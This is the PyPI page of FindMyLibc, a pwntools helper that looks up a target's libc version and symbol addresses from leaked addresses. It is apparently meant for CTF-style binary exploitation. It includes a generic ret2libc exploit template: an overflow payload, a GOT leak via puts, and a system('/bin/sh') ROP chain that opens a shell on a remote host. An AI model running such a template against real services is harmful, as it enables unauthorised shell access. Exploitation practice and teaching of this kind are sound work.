Skip to main content

Get the specific libc version + calculated addresses after a memory leak

Project description

FindMyLibc

You're exploiting a binary, you've found an address leak, now you need the libc version
and most importantly, the addresses of symbols like system and str_bin_sh.

This tool is the easiest to setup & use!
The shortest path to victory 🏆

Disclaimer

This was tested only on 32-bit binary, so it might not work properly on 64-bit binaries.
Would be updated!

Setup

Download this repo:

git clone https://github.com/omrina/FindMyLibc.git

Then just import:

from FindMyLibc import *

And use the only function you need:

matching_libc = find_libc(elf, leak_libc_address)

See below the example.

Example

Here's a simple example of exploit script (see ./example.py).

Setup your binary exploit script:

Whatever you need...

from pwn import *
from FindMyLibc import *

# Setup your binary
elf = ELF("./elf_name")
host = args.HOST or 'localhost'
port = int(args.PORT or 5555)
io = connect(host, port)

We need to set up a "leak address" function:

# Payload until right before the return address
payload = b'A' * 512 + b'BBBBCCCCDDDD'

# Example function that gets a symbol name and leaks its address from the binary
def leak_libc_address(symbol_name):
    libc_symbol_address = elf.got[symbol_name]
    puts = elf.symbols["puts"]

    io.recvline()
    io.send(payload + p32(puts) + p32(libc_symbol_address))
    received = io.recv()

    return u64(received.ljust(8, b"\x00"))

Now the real deal:

# call `find_libc`, it returns a list of matching libc candidates.
matching_libc = find_libc(elf, leak_libc_address)
chosen_libc = matching_libc[0]

# Each libc candidate comes with the attribute of `base_address`
print("libc base_address at: %s " % hex(chosen_libc['base_address']))

# Everything you need is probably in `syms`,
# a dictionary of ALL the libc symbols: {symbol: calculated_address}
binsh_address = chosen_libc['syms']['str_bin_sh']
system_address = chosen_libc['syms']['system']
print("/bin/sh at: %s" % hex(binsh_address))
print("system at: %s " % hex(system_address))

The output from ./example.py:

image

What is chosen_lib:

image

How do we use the results:

You would probably need only syms, each value is the integer of the calcualted address, so you can use it like:

shell_rop = p32(system_address) + b'EEEE' + p32(binsh_address)
io.send(payload + shell_rop)
io.interactive()

How does it work?

The finder leaks the address of common symbols:
_common_symbols_to_leak = ['__libc_start_main', 'puts', 'printf', 'gets', 'read', 'write', 'send', 'recv']
Then it makes reqeusts to the public https://libc.rip/api/find', with different combination of leaked symbols every time.

E.g.- we send a request with {'puts': 'leaked-address-of-puts', 'gets': 'leaked-address-of-gets'}.
A response would be a list of matching libc versions metadata (each item is like a part of chosen_lib seen earlier).

The stop_libs_amount argument

The find_libc function has a stop_libs_amount argument with default of 3,
meaning- if we reach 3 matching libc versions, it's enough and we stop searching.

You can change it if you'd like to:
matching_libc = find_libc(elf, leak_libc_address, stop_libs_amount=2)

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

findmylibc-1.0.0.tar.gz (4.1 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

findmylibc-1.0.0-py3-none-any.whl (7.5 kB view details)

Uploaded Python 3

File details

Details for the file findmylibc-1.0.0.tar.gz.

File metadata

  • Download URL: findmylibc-1.0.0.tar.gz
  • Upload date:
  • Size: 4.1 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/5.1.1 CPython/3.10.12

File hashes

Hashes for findmylibc-1.0.0.tar.gz
Algorithm Hash digest
SHA256 c62cac4758c8c7cbfc41c4ba5c3b5ca3176d720cb9ad9379a0368af36adcda16
MD5 1998c76481bdec4ca1b679246cc2e3fd
BLAKE2b-256 827b5e5e501758507f4fb78f7fae44a8131d372cf020e6d2585da0a4ac8a1211

See more details on using hashes here.

File details

Details for the file findmylibc-1.0.0-py3-none-any.whl.

File metadata

  • Download URL: findmylibc-1.0.0-py3-none-any.whl
  • Upload date:
  • Size: 7.5 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/5.1.1 CPython/3.10.12

File hashes

Hashes for findmylibc-1.0.0-py3-none-any.whl
Algorithm Hash digest
SHA256 100a60ba6154e4c59bed4ca6f25e6aa55f944c0b1d6f6a3b5efdf601540c4af9
MD5 0a44f8fd2e4ed8c4f5fa9539420dc297
BLAKE2b-256 9d8bc9c8d7de0b1714580287566ada2df47fbdeb75cb11f1707ca8daf8f42ac2

See more details on using hashes here.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page